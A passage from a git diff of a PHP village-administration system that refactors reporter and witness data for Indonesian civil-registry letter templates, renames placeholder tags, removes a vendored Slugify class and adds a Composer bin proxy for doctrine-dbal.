$input['umur_saksi1'] = str_pad($input['umur_saksi1'], 3, '0', STR_PAD_LEFT); - } - - if ($input['id_pend_saksi_ii']) { - $saksi2 = $this->surat_model->get_data_surat($input['id_pend_saksi_ii']); - $input['nik_saksi2'] = get_nik($saksi2['nik']); - $input['nama_saksi2'] = $saksi2['nama']; - $input['tanggal_lahir_saksi2'] = $saksi2['tanggallahir']; - $input['umur_saksi2'] = str_pad($saksi2['umur'], 3, '0', STR_PAD_LEFT); - $input['jksaksi2'] = $saksi2['sex_id']; - $input['pekerjaanid_saksi2'] = str_pad($saksi2['pekerjaan_id'], 2, '0', STR_PAD_LEFT); - $input['pekerjaansaksi2'] = $saksi2['pekerjaan']; - $input['alamat_saksi2'] = trim($saksi2['alamat'] . ' ' . $saksi2['dusun']); - $input['rt_saksi2'] = $saksi2['rt']; - $input['rw_saksi2'] = $saksi2['rw']; - $input['desasaksi2'] = $config['nama_desa']; - $input['kecsaksi2'] = $config['nama_kecamatan']; - $input['kabsaksi2'] = $config['nama_kabupaten']; - $input['provinsisaksi2'] = $config['nama_propinsi']; - - // Tambahan - $input['no_kk_saksi2'] = $saksi2['no_kk']; - $input['kewarganegaraan_saksi2'] = $saksi2['warganegara']; - } else { - $input['pekerjaanid_saksi2'] = str_pad($input['pekerjaanid_saksi2'], 2, '0', STR_PAD_LEFT); - $input['umur_saksi2'] = str_pad($input['umur_saksi2'], 3, '0', STR_PAD_LEFT); - } - - // Karena data F-2.01 berisi berbagai jenis lampiran, sehingga yang dimaksud data utama belum sesuai - $input['nik_kematian'] = get_nik($individu['nik']); - $input['nama_kematian'] = $individu['nama']; - $data_mati = $this->surat_model->get_data_mati($individu['id']); - $input['tanggal_kematian'] = $data_mati->tgl_peristiwa; - $input['jam_kematian'] = $data_mati->jam_mati; - $input['sebab_kematian'] = $data_mati->sebab; - $input['tempat_kematian'] = $data_mati->meninggal_di; - $input['penolong_kematian'] = $data_mati->penolong_mati; +// Karena data F-2.01 berisi berbagai jenis lampiran, sehingga yang dimaksud data utama belum sesuai +$input['nik_kematian'] = get_nik($individu['nik']); +$input['nama_kematian'] = $individu['nama']; +$data_mati = $this->surat_model->get_data_mati($individu['id']); +$input['tanggal_kematian'] = $data_mati->tgl_peristiwa; +$input['jam_kematian'] = $data_mati->jam_mati; +$input['sebab_kematian'] = $data_mati->sebab; +$input['tempat_kematian'] = $data_mati->meninggal_di; +$input['penolong_kematian'] = $data_mati->penolong_mati; diff --git a/storage/app/template/lampiran/f-2.29/data.php b/storage/app/template/lampiran/f-2.29/data.php index dbc66ce35..591f64a02 100644 --- a/storage/app/template/lampiran/f-2.29/data.php +++ b/storage/app/template/lampiran/f-2.29/data.php @@ -35,135 +35,63 @@ * */ - defined('BASEPATH') || exit('No direct script access allowed'); +defined('BASEPATH') || exit('No direct script access allowed'); - $individu['umur'] = str_pad($individu['umur'], 3, '0', STR_PAD_LEFT); +$individu['umur'] = str_pad($individu['umur'], 3, '0', STR_PAD_LEFT); - $ibu = $this->surat_model->surat_model->get_data_ibu($individu['id']); - if ($ibu) { - $input['nik_ibu'] = get_nik($ibu['nik']); - $input['nama_ibu'] = $ibu['nama']; - $input['tempat_lahir_ibu'] = strtoupper($ibu['tempatlahir']); - $input['tanggal_lahir_ibu'] = $ibu['tanggallahir']; - $input['umur_ibu'] = str_pad($ibu['umur'], 3, '0', STR_PAD_LEFT); - $input['pekerjaanid_ibu'] = str_pad($ibu['pekerjaan_id'], 2, '0', STR_PAD_LEFT); - $input['pekerjaanibu'] = $ibu['pek']; - $input['alamat_ibu'] = trim($ibu['alamat'] . ' ' . $ibu['dusun']); - $input['rt_ibu'] = $ibu['rt']; - $input['rw_ibu'] = $ibu['rw']; - $input['desaibu'] = $config['nama_desa']; - $input['kecibu'] = $config['nama_kecamatan']; - $input['kabibu'] = $config['nama_kabupaten']; - $input['provinsiibu'] = $config['nama_propinsi']; - $input['kewarganegaraan_ibu'] = $ibu['wn']; - } else { - $input['pekerjaanid_ibu'] = str_pad($input['pekerjaanid_ibu'], 2, '0', STR_PAD_LEFT); - $input['umur_ibu'] = str_pad($input['umur_ibu'], 3, '0', STR_PAD_LEFT); - } +// include data pelapor dan saksi +include STORAGEPATH . 'app/template/lampiran/kode_pelapor_saksi.php'; - $ayah = $this->surat_model->get_data_ayah($individu['id']); - if ($ayah) { - $input['nik_ayah'] = get_nik($ayah['nik']); - $input['nama_ayah'] = $ayah['nama']; - $input['tempat_lahir_ayah'] = strtoupper($ayah['tempatlahir']); - $input['tanggal_lahir_ayah'] = $ayah['tanggallahir']; - $input['umur_ayah'] = str_pad($ayah['umur'], 3, '0', STR_PAD_LEFT); - $input['pekerjaanid_ayah'] = str_pad($ayah['pekerjaan_id'], 2, '0', STR_PAD_LEFT); - $input['pekerjaanayah'] = $ayah['pek']; - $input['alamat_ayah'] = trim($ayah['alamat'] . ' ' . $ayah['dusun']); - $input['rt_ayah'] = $ayah['rt']; - $input['rw_ayah'] = $ayah['rw']; - $input['desaayah'] = $config['nama_desa']; - $input['kecayah'] = $config['nama_kecamatan']; - $input['kabayah'] = $config['nama_kabupaten']; - $input['provinsiayah'] = $config['nama_propinsi']; - $input['kewarganegaraan_ayah'] = $ayah['wn']; - } else { - $input['pekerjaanid_ayah'] = str_pad($input['pekerjaanid_ayah'], 2, '0', STR_PAD_LEFT); - $input['umur_ayah'] = str_pad($input['umur_ayah'], 3, '0', STR_PAD_LEFT); - } +$ibu = $this->surat_model->surat_model->get_data_ibu($individu['id']); +if ($ibu) { + $input['nik_ibu'] = get_nik($ibu['nik']); + $input['nama_ibu'] = $ibu['nama']; + $input['tempat_lahir_ibu'] = strtoupper($ibu['tempatlahir']); + $input['tanggal_lahir_ibu'] = $ibu['tanggallahir']; + $input['umur_ibu'] = str_pad($ibu['umur'], 3, '0', STR_PAD_LEFT); + $input['pekerjaanid_ibu'] = str_pad($ibu['pekerjaan_id'], 2, '0', STR_PAD_LEFT); + $input['pekerjaanibu'] = $ibu['pek']; + $input['alamat_ibu'] = trim($ibu['alamat'] . ' ' . $ibu['dusun']); + $input['rt_ibu'] = $ibu['rt']; + $input['rw_ibu'] = $ibu['rw']; + $input['desaibu'] = $config['nama_desa']; + $input['kecibu'] = $config['nama_kecamatan']; + $input['kabibu'] = $config['nama_kabupaten']; + $input['provinsiibu'] = $config['nama_propinsi']; + $input['kewarganegaraan_ibu'] = $ibu['wn']; +} else { + $input['pekerjaanid_ibu'] = str_pad($input['pekerjaanid_ibu'], 2, '0', STR_PAD_LEFT); + $input['umur_ibu'] = str_pad($input['umur_ibu'], 3, '0', STR_PAD_LEFT); +} - if ($input['id_pend_pelapor']) { - $pelapor = $this->surat_model->get_data_surat($input['id_pend_pelapor']); - $input['nik_pelapor'] = get_nik($pelapor['nik']); - $input['nama_pelapor'] = $pelapor['nama']; - $input['tanggal_lahir_pelapor'] = $pelapor['tanggallahir']; - $input['umur_pelapor'] = str_pad($pelapor['umur'], 3, '0', STR_PAD_LEFT); - $input['jkpelapor'] = $pelapor['sex_id']; - $input['pekerjaanid_pelapor'] = str_pad($pelapor['pekerjaan_id'], 2, '0', STR_PAD_LEFT); - $input['pekerjaanpelapor'] = $pelapor['pekerjaan']; - $input['alamat_pelapor'] = trim($pelapor['alamat'] . ' ' . $pelapor['dusun']); - $input['rt_pelapor'] = $pelapor['rt']; - $input['rw_pelapor'] = $pelapor['rw']; - $input['desapelapor'] = $config['nama_desa']; - $input['kecpelapor'] = $config['nama_kecamatan']; - $input['kabpelapor'] = $config['nama_kabupaten']; - $input['provinsipelapor'] = $config['nama_propinsi']; +$ayah = $this->surat_model->get_data_ayah($individu['id']); +if ($ayah) { + $input['nik_ayah'] = get_nik($ayah['nik']); + $input['nama_ayah'] = $ayah['nama']; + $input['tempat_lahir_ayah'] = strtoupper($ayah['tempatlahir']); + $input['tanggal_lahir_ayah'] = $ayah['tanggallahir']; + $input['umur_ayah'] = str_pad($ayah['umur'], 3, '0', STR_PAD_LEFT); + $input['pekerjaanid_ayah'] = str_pad($ayah['pekerjaan_id'], 2, '0', STR_PAD_LEFT); + $input['pekerjaanayah'] = $ayah['pek']; + $input['alamat_ayah'] = trim($ayah['alamat'] . ' ' . $ayah['dusun']); + $input['rt_ayah'] = $ayah['rt']; + $input['rw_ayah'] = $ayah['rw']; + $input['desaayah'] = $config['nama_desa']; + $input['kecayah'] = $config['nama_kecamatan']; + $input['kabayah'] = $config['nama_kabupaten']; + $input['provinsiayah'] = $config['nama_propinsi']; + $input['kewarganegaraan_ayah'] = $ayah['wn']; +} else { + $input['pekerjaanid_ayah'] = str_pad($input['pekerjaanid_ayah'], 2, '0', STR_PAD_LEFT); + $input['umur_ayah'] = str_pad($input['umur_ayah'], 3, '0', STR_PAD_LEFT); +} - // Tambahan - $input['no_kk_pelapor'] = $pelapor['no_kk']; - $input['kewarganegaraan_pelapor'] = $pelapor['warganegara']; - } else { - $input['pekerjaanid_pelapor'] = str_pad($input['pekerjaanid_pelapor'], 2, '0', STR_PAD_LEFT); - $input['umur_pelapor'] = str_pad($input['umur_pelapor'], 3, '0', STR_PAD_LEFT); - } - - if ($input['id_pend_saksi_i']) { - $saksi1 = $this->surat_model->get_data_surat($input['id_pend_saksi_i']); - $input['nik_saksi1'] = get_nik($saksi1['nik']); - $input['nama_saksi1'] = $saksi1['nama']; - $input['tanggal_lahir_saksi1'] = $saksi1['tanggallahir']; - $input['umur_saksi1'] = str_pad($saksi1['umur'], 3, '0', STR_PAD_LEFT); - $input['jksaksi1'] = $saksi1['sex_id']; - $input['pekerjaanid_saksi1'] = str_pad($saksi1['pekerjaan_id'], 2, '0', STR_PAD_LEFT); - $input['pekerjaansaksi1'] = $saksi1['pekerjaan']; - $input['alamat_saksi1'] = trim($saksi1['alamat'] . ' ' . $saksi1['dusun']); - $input['rt_saksi1'] = $saksi1['rt']; - $input['rw_saksi1'] = $saksi1['rw']; - $input['desasaksi1'] = $config['nama_desa']; - $input['kecsaksi1'] = $config['nama_kecamatan']; - $input['kabsaksi1'] = $config['nama_kabupaten']; - $input['provinsisaksi1'] = $config['nama_propinsi']; - - // Tambahan - $input['no_kk_saksi1'] = $saksi1['no_kk']; - $input['kewarganegaraan_saksi1'] = $saksi1['warganegara']; - } else { - $input['pekerjaanid_saksi1'] = str_pad($input['pekerjaanid_saksi1'], 2, '0', STR_PAD_LEFT); - $input['umur_saksi1'] = str_pad($input['umur_saksi1'], 3, '0', STR_PAD_LEFT); - } - - if ($input['id_pend_saksi_ii']) { - $saksi2 = $this->surat_model->get_data_surat($input['id_pend_saksi_ii']); - $input['nik_saksi2'] = get_nik($saksi2['nik']); - $input['nama_saksi2'] = $saksi2['nama']; - $input['tanggal_lahir_saksi2'] = $saksi2['tanggallahir']; - $input['umur_saksi2'] = str_pad($saksi2['umur'], 3, '0', STR_PAD_LEFT); - $input['jksaksi2'] = $saksi2['sex_id']; - $input['pekerjaanid_saksi2'] = str_pad($saksi2['pekerjaan_id'], 2, '0', STR_PAD_LEFT); - $input['pekerjaansaksi2'] = $saksi2['pekerjaan']; - $input['alamat_saksi2'] = trim($saksi2['alamat'] . ' ' . $saksi2['dusun']); - $input['rt_saksi2'] = $saksi2['rt']; - $input['rw_saksi2'] = $saksi2['rw']; - $input['desasaksi2'] = $config['nama_desa']; - $input['kecsaksi2'] = $config['nama_kecamatan']; - $input['kabsaksi2'] = $config['nama_kabupaten']; - $input['provinsisaksi2'] = $config['nama_propinsi']; - - // Tambahan - $input['no_kk_saksi2'] = $saksi2['no_kk']; - $input['kewarganegaraan_saksi2'] = $saksi2['warganegara']; - } else { - $input['pekerjaanid_saksi2'] = str_pad($input['pekerjaanid_saksi2'], 2, '0', STR_PAD_LEFT); - $input['umur_saksi2'] = str_pad($input['umur_saksi2'], 3, '0', STR_PAD_LEFT); - } - - $input['nik_kematian'] = get_nik($individu['nik']); - $input['nama_kematian'] = $individu['nama']; - $input['sex_id'] = $individu['sex_id']; - $data_mati = $this->surat_model->get_data_mati($individu['id']); - $input['tanggal_kematian'] = $data_mati->tgl_peristiwa; - $input['jam_kematian'] = $data_mati->jam_mati; - $input['sebab_kematian'] = $data_mati->sebab; - $input['tempat_kematian'] = $data_mati->meninggal_di; - $input['penolong_kematian'] = $data_mati->penolong_mati; +$input['nik_kematian'] = get_nik($individu['nik']); +$input['nama_kematian'] = $individu['nama']; +$input['sex_id'] = $individu['sex_id']; +$data_mati = $this->surat_model->get_data_mati($individu['id']); +$input['tanggal_kematian'] = $data_mati->tgl_peristiwa; +$input['jam_kematian'] = $data_mati->jam_mati; +$input['sebab_kematian'] = $data_mati->sebab; +$input['tempat_kematian'] = $data_mati->meninggal_di; +$input['penolong_kematian'] = $data_mati->penolong_mati; diff --git a/storage/app/template/lampiran/f-2.30/view.php b/storage/app/template/lampiran/f-2.30/view.php index 266f794c9..287100ffa 100644 --- a/storage/app/template/lampiran/f-2.30/view.php +++ b/storage/app/template/lampiran/f-2.30/view.php @@ -104,7 +104,7 @@
    Kewarganegaraan :[Warga_negarA][WArga_negara]
    diff --git a/storage/app/template/lampiran/kode_pelapor_saksi.php b/storage/app/template/lampiran/kode_pelapor_saksi.php new file mode 100644 index 000000000..5e6029bb5 --- /dev/null +++ b/storage/app/template/lampiran/kode_pelapor_saksi.php @@ -0,0 +1,165 @@ +surat_model->get_data_surat($input['id_pend_pelapor']); + $input['nik_pelapor'] = get_nik($pelapor['nik']); + $input['nama_pelapor'] = $pelapor['nama']; + $input['tanggal_lahir_pelapor'] = $pelapor['tanggallahir']; + $input['umur_pelapor'] = str_pad($pelapor['umur'], 3, '0', STR_PAD_LEFT); + $input['jkpelapor'] = $pelapor['sex_id']; + $input['pekerjaanid_pelapor'] = str_pad($pelapor['pekerjaan_id'], 2, '0', STR_PAD_LEFT); + $input['pekerjaanpelapor'] = $pelapor['pekerjaan']; + $input['alamat_pelapor'] = trim($pelapor['alamat'] . ' ' . $pelapor['dusun']); + $input['rt_pelapor'] = $pelapor['rt']; + $input['rw_pelapor'] = $pelapor['rw']; + $input['desapelapor'] = $config['nama_desa']; + $input['kecpelapor'] = $config['nama_kecamatan']; + $input['kabpelapor'] = $config['nama_kabupaten']; + $input['provinsipelapor'] = $config['nama_propinsi']; + + // Tambahan + $input['no_kk_pelapor'] = $pelapor['no_kk']; + $input['kewarganegaraan_pelapor'] = $pelapor['warganegara']; +} else { + $input['nik_pelapor'] = get_nik($input['pelapor']['nik']); + $input['nama_pelapor'] = $input['pelapor']['nama']; + $input['tanggal_lahir_pelapor'] = $input['pelapor']['tanggallahir']; + $input['umur_pelapor'] = str_pad(usia($input['pelapor']['tanggallahir']), 3, '0', STR_PAD_LEFT); + $input['jkpelapor'] = $input['pelapor']['jenis_kelamin']; + $input['pekerjaanid_pelapor'] = str_pad($input['pelapor']['pekerjaan_id'], 2, '0', STR_PAD_LEFT); + $input['pekerjaanpelapor'] = $input['pelapor']['pekerjaan']; + $input['alamat_pelapor'] = trim($input['pelapor']['alamat_jalan'] . ' ' . $input['pelapor']['nama_dusun']); + $input['rt_pelapor'] = $input['pelapor']['nama_rt']; + $input['rw_pelapor'] = $input['pelapor']['nama_rw']; + $input['desapelapor'] = $input['pelapor']['pend_desa']; + $input['kecpelapor'] = $input['pelapor']['pend_kecamatan']; + $input['kabpelapor'] = $input['pelapor']['pend_kabupaten']; + $input['provinsipelapor'] = $input['pelapor']['pend_propinsi']; + + // Tambahan + // TODO: tambahkan no kk di kode isian penduduk luar + // $input['no_kk_pelapor'] = $pelapor['no_kk']; + $input['kewarganegaraan_pelapor'] = $input['pelapor']['warga_negara']; +} + +if ($input['id_pend_saksi_i']) { + $saksi1 = $this->surat_model->get_data_surat($input['id_pend_saksi_i']); + $input['nik_saksi1'] = get_nik($saksi1['nik']); + $input['nama_saksi1'] = $saksi1['nama']; + $input['tanggal_lahir_saksi1'] = $saksi1['tanggallahir']; + $input['umur_saksi1'] = str_pad($saksi1['umur'], 3, '0', STR_PAD_LEFT); + $input['jksaksi1'] = $saksi1['sex_id']; + $input['pekerjaanid_saksi1'] = str_pad($saksi1['pekerjaan_id'], 2, '0', STR_PAD_LEFT); + $input['pekerjaansaksi1'] = $saksi1['pekerjaan']; + $input['alamat_saksi1'] = trim($saksi1['alamat'] . ' ' . $saksi1['dusun']); + $input['rt_saksi1'] = $saksi1['rt']; + $input['rw_saksi1'] = $saksi1['rw']; + $input['desasaksi1'] = $config['nama_desa']; + $input['kecsaksi1'] = $config['nama_kecamatan']; + $input['kabsaksi1'] = $config['nama_kabupaten']; + $input['provinsisaksi1'] = $config['nama_propinsi']; + + // Tambahan + $input['no_kk_saksi1'] = $saksi1['no_kk']; + $input['kewarganegaraan_saksi1'] = $saksi1['warganegara']; +} else { + $input["nik_saksi1"] = get_nik($input['saksi_i']['nik']); + $input["nama_saksi1"] = $input['saksi_i']['nama']; + $input["tanggal_lahir_saksi1"] = $input['saksi_i']['tanggallahir']; + $input["umur_saksi1"] = str_pad(usia($input['saksi_i']['tanggallahir']), 3, '0', STR_PAD_LEFT); + $input["jksaksi11"] = $input['saksi_i']['jenis_kelamin']; + $input["pekerjaanid_saksi1"] = str_pad($input['saksi_i']['pekerjaan_id'], 2, '0', STR_PAD_LEFT); + $input["pekerjaansaksi1"] = $input['saksi_i']['pekerjaan']; + $input["alamat_saksi1"] = trim($input['saksi_i']['alamat_jalan'] . ' ' . $input['saksi_i']['nama_dusun']); + $input["rt_saksi1"] = $input['saksi_i']['nama_rt']; + $input["rw_saksi1"] = $input['saksi_i']['nama_rw']; + $input["desasaksi1"] = $input['saksi_i']['pend_desa']; + $input["kecsaksi1"] = $input['saksi_i']['pend_kecamatan']; + $input["kabsaksi1"] = $input['saksi_i']['pend_kabupaten']; + $input["provinsisaksi1"] = $input['saksi_i']['pend_propinsi']; + + // Tambahan + // TODO: tambahkan no kk di kode isian penduduk luar + // $input["no_kk_saksi{$i}"] = ''; + $input["kewarganegaraan_saksi1"] = $input['saksi_i']['warga_negara']; +} + +if ($input['id_pend_saksi_ii']) { + $saksi1 = $this->surat_model->get_data_surat($input['id_pend_saksi_ii']); + $input['nik_saksi2'] = get_nik($saksi1['nik']); + $input['nama_saksi2'] = $saksi1['nama']; + $input['tanggal_lahir_saksi2'] = $saksi1['tanggallahir']; + $input['umur_saksi2'] = str_pad($saksi1['umur'], 3, '0', STR_PAD_LEFT); + $input['jksaksi2'] = $saksi1['sex_id']; + $input['pekerjaanid_saksi2'] = str_pad($saksi1['pekerjaan_id'], 2, '0', STR_PAD_LEFT); + $input['pekerjaansaksi2'] = $saksi1['pekerjaan']; + $input['alamat_saksi2'] = trim($saksi1['alamat'] . ' ' . $saksi1['dusun']); + $input['rt_saksi2'] = $saksi1['rt']; + $input['rw_saksi2'] = $saksi1['rw']; + $input['desasaksi2'] = $config['nama_desa']; + $input['kecsaksi2'] = $config['nama_kecamatan']; + $input['kabsaksi2'] = $config['nama_kabupaten']; + $input['provinsisaksi2'] = $config['nama_propinsi']; + + // Tambahan + $input['no_kk_saksi2'] = $saksi1['no_kk']; + $input['kewarganegaraan_saksi2'] = $saksi1['warganegara']; +} else { + $input["nik_saksi2"] = get_nik($input['saksi_ii']['nik']); + $input["nama_saksi2"] = $input['saksi_ii']['nama']; + $input["tanggal_lahir_saksi2"] = $input['saksi_ii']['tanggallahir']; + $input["umur_saksi2"] = str_pad(usia($input['saksi_ii']['tanggallahir']), 3, '0', STR_PAD_LEFT); + $input["jksaksi12"] = $input['saksi_ii']['jenis_kelamin']; + $input["pekerjaanid_saksi2"] = str_pad($input['saksi_ii']['pekerjaan_id'], 2, '0', STR_PAD_LEFT); + $input["pekerjaansaksi2"] = $input['saksi_ii']['pekerjaan']; + $input["alamat_saksi2"] = trim($input['saksi_ii']['alamat_jalan'] . ' ' . $input['saksi_ii']['nama_dusun']); + $input["rt_saksi2"] = $input['saksi_ii']['nama_rt']; + $input["rw_saksi2"] = $input['saksi_ii']['nama_rw']; + $input["desasaksi2"] = $input['saksi_ii']['pend_desa']; + $input["kecsaksi2"] = $input['saksi_ii']['pend_kecamatan']; + $input["kabsaksi2"] = $input['saksi_ii']['pend_kabupaten']; + $input["provinsisaksi2"] = $input['saksi_ii']['pend_propinsi']; + + // Tambahan + // TODO: tambahkan no kk di kode isian penduduk luar + // $input["no_kk_saksi{$i}"] = ''; + $input["kewarganegaraan_saksi2"] = $input['saksi_ii']['warga_negara']; +} + diff --git a/storage/app/template/lampiran/n-1/view_pria.php b/storage/app/template/lampiran/n-1/view_pria.php index 23fd37a20..adea3e02b 100644 --- a/storage/app/template/lampiran/n-1/view_pria.php +++ b/storage/app/template/lampiran/n-1/view_pria.php @@ -94,7 +94,7 @@

      5. Kewarganegaraan : [WaRga_negara][WArga_negara]
      Kewarganegaraan : [WaRga_negara_dapp][WArga_negara_dapp]
      Kewarganegaraan : [WaRga_negara_dipp][WArga_negara_dipp]
    - - + + - - + + - + - - + + - - - + + +
       [NAma_desa], [TgL_surat]
       [Atas_namA]
    [qr_code]



     
       [NAma_pamonG]
       
    diff --git a/storage/app/template/lampiran/n-1/view_wanita.php b/storage/app/template/lampiran/n-1/view_wanita.php index 7ddeea105..2f9e61da1 100644 --- a/storage/app/template/lampiran/n-1/view_wanita.php +++ b/storage/app/template/lampiran/n-1/view_wanita.php @@ -94,7 +94,7 @@

      5. Kewarganegaraan : [WaRga_negara_dcpw][WArga_negara_dcpw]
      Kewarganegaraan : [WaRga_negara_dapw][WArga_negara_dapw]
      Kewarganegaraan : [WaRga_negara_dibpw][WArga_negara_dibpw]
    - - + + - - + + - + - - + + - - - + + +
       [NAma_desa], [TgL_surat]
       [Atas_namA]
    [qr_code]



     
       [NAma_pamonG]
       
    diff --git a/storage/app/template/lampiran/n-4/view.php b/storage/app/template/lampiran/n-4/view.php index 7baa5eb84..f7c91cf94 100644 --- a/storage/app/template/lampiran/n-4/view.php +++ b/storage/app/template/lampiran/n-4/view.php @@ -72,7 +72,7 @@   5. Kewarganegaraan : - [WaRga_negara] + [WArga_negara]   @@ -128,7 +128,7 @@   5. Kewarganegaraan : - [WaRga_negara_dcpw] + [WArga_negara_dcpw]   @@ -160,29 +160,29 @@ - - + + - + - + - + - + - - - + + +
       [NAma_desa], [TgL_surat]
    Calon Suami  Calon Istri
     



     
    ([NAma])  ([NAma_dcpw])
       
    diff --git a/storage/app/template/lampiran/n-5/view.php b/storage/app/template/lampiran/n-5/view.php index a639336d0..128e7b3b8 100644 --- a/storage/app/template/lampiran/n-5/view.php +++ b/storage/app/template/lampiran/n-5/view.php @@ -74,7 +74,7 @@   5. Kewarganegaraan : - [WaRga_negara_dapw] + [WArga_negara_dapw] @@ -131,7 +131,7 @@   5. Kewarganegaraan : - [WaRga_negara_dibpw] + [WArga_negara_dibpw] @@ -192,7 +192,7 @@   5. Kewarganegaraan : - [WaRga_negara_dcpw] + [WArga_negara_dcpw] @@ -255,7 +255,7 @@   5. Kewarganegaraan : - [WaRga_negara] + [WArga_negara] @@ -290,29 +290,29 @@ - - + + - + - + - + - + - - - + + +
       [NAma_desa], [TgL_surat]
    Ayah/wali/pengampu  Ibu/wali/pengampu
     



     
    [NAma_dapw]  [NAma_dibpw]
       
    diff --git a/storage/app/template/lampiran/n-6/view_calon_pasangan.php b/storage/app/template/lampiran/n-6/view_calon_pasangan.php index f6280f987..219677216 100644 --- a/storage/app/template/lampiran/n-6/view_calon_pasangan.php +++ b/storage/app/template/lampiran/n-6/view_calon_pasangan.php @@ -99,7 +99,7 @@   5. Kewarganegaraan : - [WaRga_negara_dst] + [WArga_negara_dst] @@ -182,7 +182,7 @@   5. Kewarganegaraan   - [WaRga_negara_dcpw] + [WArga_negara_dcpw] @@ -206,7 +206,7 @@ [AlAmat_dcpw] - +

    Demikian surat pengantar ini dibuat dengan mengingat sumpah jabatan dan untuk dipergunakan sebagaimana mestinya.

    @@ -215,30 +215,30 @@ - - + + - - + + - + - + - - + + - - - + + + -
       [NAma_desa], [TgL_surat]
       [Atas_namA]
     



     
       [NAma_pamonG]
       
    + \ No newline at end of file diff --git a/storage/app/template/lampiran/n-6/view_individu.php b/storage/app/template/lampiran/n-6/view_individu.php index 0d958a8d9..ff500ee91 100644 --- a/storage/app/template/lampiran/n-6/view_individu.php +++ b/storage/app/template/lampiran/n-6/view_individu.php @@ -99,7 +99,7 @@   5. Kewarganegaraan : - [WaRga_negara_dst] + [WArga_negara_dst] @@ -182,7 +182,7 @@   5. Kewarganegaraan   - [WaRga_negara] + [WArga_negara] @@ -215,29 +215,29 @@ - - + + - - + + - + - - + + - - - + + +
       [NAma_desa], [TgL_surat]
       [Atas_namA]
    [qr_code]



     
       [NAma_pamonG]
       
    diff --git a/storage/app/template/lampiran/sps/view_calon.php b/storage/app/template/lampiran/sps/view_calon.php index 66d206821..fa1d37af6 100644 --- a/storage/app/template/lampiran/sps/view_calon.php +++ b/storage/app/template/lampiran/sps/view_calon.php @@ -35,7 +35,7 @@ Kewarganegaraan : - [WaRga_negara] + [WArga_negara] diff --git a/storage/app/template/lampiran/sps/view_pasangan.php b/storage/app/template/lampiran/sps/view_pasangan.php index 1a22ab603..3a29cbcfe 100644 --- a/storage/app/template/lampiran/sps/view_pasangan.php +++ b/storage/app/template/lampiran/sps/view_pasangan.php @@ -34,7 +34,7 @@ Kewarganegaraan : - [WaRga_negara_dapp] + [WArga_negara_dapp] diff --git a/storage/app/vendor/cocur/slugify/src/Slugify.php b/storage/app/vendor/cocur/slugify/src/Slugify.php deleted file mode 100644 index be2088dc8..000000000 --- a/storage/app/vendor/cocur/slugify/src/Slugify.php +++ /dev/null @@ -1,196 +0,0 @@ - - */ - protected array $rules = []; - - protected RuleProviderInterface $provider; - - /** - * @var array - */ - protected array $options = [ - 'regexp' => self::LOWERCASE_NUMBERS_DASHES, - 'separator' => '-', - 'lowercase' => true, - 'lowercase_after_regexp' => false, - 'trim' => true, - 'strip_tags' => false, - 'rulesets' => [ - 'default', - // Languages are preferred if they appear later, list is ordered by number of - // websites in that language - // https://en.wikipedia.org/wiki/Languages_used_on_the_Internet#Content_languages_for_websites - 'armenian', - 'azerbaijani', - 'burmese', - 'hindi', - 'georgian', - 'norwegian', - 'vietnamese', - 'ukrainian', - 'latvian', - 'finnish', - 'greek', - 'czech', - 'arabic', - 'slovak', - 'turkish', - 'polish', - 'german', - 'russian', - 'romanian', - ], - ]; - - public function __construct(array $options = [], ?RuleProviderInterface $provider = null) - { - $this->options = array_merge($this->options, $options); - $this->provider = $provider ?: new DefaultRuleProvider(); - - foreach ($this->options['rulesets'] as $ruleSet) { - $this->activateRuleSet($ruleSet); - } - } - - /** - * Returns the slug-version of the string. - * - * @param string $string String to slugify - * @param array|string|null $options Options - * - * @return string Slugified version of the string - */ - public function slugify(string $string, $options = null): string - { - // BC: the second argument used to be the separator - if (is_string($options)) { - $separator = $options; - $options = []; - $options['separator'] = $separator; - } - - $options = array_merge($this->options, (array) $options); - - // Add a custom ruleset without touching the default rules - if (isset($options['ruleset'])) { - $rules = array_merge($this->rules, $this->provider->getRules($options['ruleset'])); - } else { - $rules = $this->rules; - } - - $string = ($options['strip_tags']) - ? strip_tags($string) - : $string; - - $string = strtr($string, $rules); - unset($rules); - - if ($options['lowercase'] && ! $options['lowercase_after_regexp']) { - $string = mb_strtolower($string); - } - - $string = preg_replace($options['regexp'], $options['separator'], $string); - - if ($options['lowercase'] && $options['lowercase_after_regexp']) { - $string = mb_strtolower($string); - } - - return ($options['trim']) - ? trim($string, $options['separator']) - : $string; - } - - /** - * Adds a custom rule to Slugify. - * - * @param string $character Character - * @param string $replacement Replacement character - */ - public function addRule($character, $replacement): self - { - $this->rules[$character] = $replacement; - - return $this; - } - - /** - * Adds multiple rules to Slugify. - * - * @param array $rules - */ - public function addRules(array $rules): self - { - foreach ($rules as $character => $replacement) { - $this->addRule($character, $replacement); - } - - return $this; - } - - public function activateRuleSet(string $ruleSet): self - { - return $this->addRules($this->provider->getRules($ruleSet)); - } - - /** - * Static method to create new instance of {@see Slugify}. - * - * @param array $options - */ - public static function create(array $options = []): self - { - return new static($options); - } -} diff --git a/vendor/bin/doctrine-dbal b/vendor/bin/doctrine-dbal new file mode 100644 index 000000000..e86bf8dcc --- /dev/null +++ b/vendor/bin/doctrine-dbal @@ -0,0 +1,120 @@ +#!/usr/bin/env php +realpath = realpath($opened_path) ?: $opened_path; + $opened_path = $this->realpath; + $this->handle = fopen($this->realpath, $mode); + $this->position = 0; + + return (bool) $this->handle; + } + + public function stream_read($count) + { + $data = fread($this->handle, $count); + + if ($this->position === 0) { + $data = preg_replace('{^#!.*\r?\n}', '', $data); + } + + $this->position += strlen($data); + + return $data; + } + + public function stream_cast($castAs) + { + return $this->handle; + } + + public function stream_close() + { + fclose($this->handle); + } + + public function stream_lock($operation) + { + return $operation ? flock($this->handle, $operation) : true; + } + + public function stream_seek($offset, $whence) + { + if (0 === fseek($this->handle, $offset, $whence)) { + $this->position = ftell($this->handle); + return true; + } + + return false; + } + + public function stream_tell() + { + return $this->position; + } + + public function stream_eof() + { + return feof($this->handle); + } + + public function stream_stat() + { + return array(); + } + + public function stream_set_option($option, $arg1, $arg2) + { + return true; + } + + public function url_stat($path, $flags) + { + $path = substr($path, 17); + if (file_exists($path)) { + return stat($path); + } + + return false; + } + } + } + + if ( + (function_exists('stream_get_wrappers') && in_array('phpvfscomposer', stream_get_wrappers(), true)) + || (function_exists('stream_wrapper_register') && stream_wrapper_register('phpvfscomposer', 'Composer\BinProxyWrapper')) + ) { + include("phpvfscomposer://" . __DIR__ . '/..'.'/doctrine/dbal/bin/doctrine-dbal'); + exit(0); + } +} + +include __DIR__ . '/..'.'/doctrine/dbal/bin/doctrine-dbal'; diff --git 